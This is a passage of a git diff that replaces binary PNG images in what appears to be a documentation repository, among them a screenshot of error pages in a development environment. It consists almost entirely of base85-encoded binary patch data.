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
Rq6+!<bl`vMFoxVu{|^KJr$_(*

literal 5849
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
Xmi&>mce6+#0DCDtQCBFJGk^Jin!3@6

diff --git a/_images/controller/error_pages/exceptions-in-dev-environment.png b/_images/controller/error_pages/exceptions-in-dev-environment.png
index 74128990e57834dc8a59b93774dff76a944666b6..e1fba2bebf96f529e65439d990e6493233bc56d2 100644
GIT binary patch
literal 82684
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
